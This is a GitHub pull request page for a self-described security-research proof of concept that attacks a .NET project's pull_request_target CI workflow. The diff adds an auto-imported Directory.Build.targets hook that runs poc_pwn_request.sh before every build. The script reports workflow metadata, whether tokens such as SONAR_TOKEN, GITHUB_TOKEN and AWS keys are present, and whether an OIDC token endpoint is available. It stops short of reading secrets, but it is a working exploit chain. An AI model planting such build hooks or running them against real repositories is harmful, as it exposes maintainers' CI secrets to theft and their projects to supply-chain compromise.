Skip to content

[Security research PoC] pull_request_target + dotnet build runs fork PR code next to SONAR_TOKEN (non-destructive) #104

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
andersondaviddschl3784-byte wants to merge 3 commits into from
Closed

[Security research PoC] pull_request_target + dotnet build runs fork PR code next to SONAR_TOKEN (non-destructive) #104

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
3c84a21
chore: pwn-request PoC file (security research, non-destructive)
andersondaviddschl3784-byte Oct 14, 2026
166a80d
chore: pwn-request PoC file (security research, non-destructive)
andersondaviddschl3784-byte Oct 14, 2026
b5fde6b
chore: pwn-request PoC file (security research, non-destructive)
andersondaviddschl3784-byte Oct 14, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions Directory.Build.targets
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
<Project>
<!-- ===================================================================
PWN-REQUEST PoC (security research, non-destructive)
Auto-imported by MSBuild for every project in this tree, so the
marker script runs when `dotnet build` / `dotnet test` runs, exactly
like an attacker-controlled MSBuild target would.
The script only prints context metadata and env presence booleans;
no secret value is read, printed, or transmitted.
=================================================================== -->
<Target Name="PwnRequestPocMarker" BeforeTargets="BeforeBuild">
<Exec Command="sh "$(MSBuildThisFileDirectory)poc_pwn_request.sh"" IgnoreStandardErrorWarningFormat="true" />
</Target>
</Project>
31 changes: 31 additions & 0 deletions poc_pwn_request.sh
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# ---------------------------------------------------------------------
# PWN-REQUEST PoC marker block (security research, non-destructive)
# Purpose : prove that untrusted PR code runs in the pull_request_target
# context of the BASE repository. No secret value is ever read,
# printed, or transmitted -- presence booleans only.
# Marker : PWN_REQUEST_POC_OK
# ---------------------------------------------------------------------
poc_out() {
echo "$@"
if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then echo "$@" >> "$GITHUB_STEP_SUMMARY"; fi
}
poc_out "PWN_REQUEST_POC_OK"
poc_out "event : ${GITHUB_EVENT_NAME:-?}"
poc_out "repository : ${GITHUB_REPOSITORY:-?}"
poc_out "workflow : ${GITHUB_WORKFLOW:-?}"
poc_out "job : ${GITHUB_JOB:-?}"
poc_out "actor : ${GITHUB_ACTOR:-?}"
poc_out "ref : ${GITHUB_REF:-?}"
poc_out "head sha : $(git rev-parse HEAD 2>/dev/null || echo '?')"
poc_out "run id : ${GITHUB_RUN_ID:-?}"
poc_out "--- privileged-context signals (presence booleans only) ---"
for v in SONAR_TOKEN GITHUB_TOKEN DOCKER_HUB_TOKEN QUAY_TOKEN OPENAI_API_KEY NPM_TOKEN AWS_SECRET_ACCESS_KEY CODECOV_TOKEN; do
if printenv "$v" >/dev/null 2>&1; then poc_out "env $v : PRESENT"; else poc_out "env $v : absent"; fi
done
if [ -n "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" ]; then
poc_out "OIDC id-token endpoint : PRESENT (id-token: write)"
else
poc_out "OIDC id-token endpoint : absent"
fi
poc_out "--- end PoC ---"
# ---------------------------------------------------------------------
Loading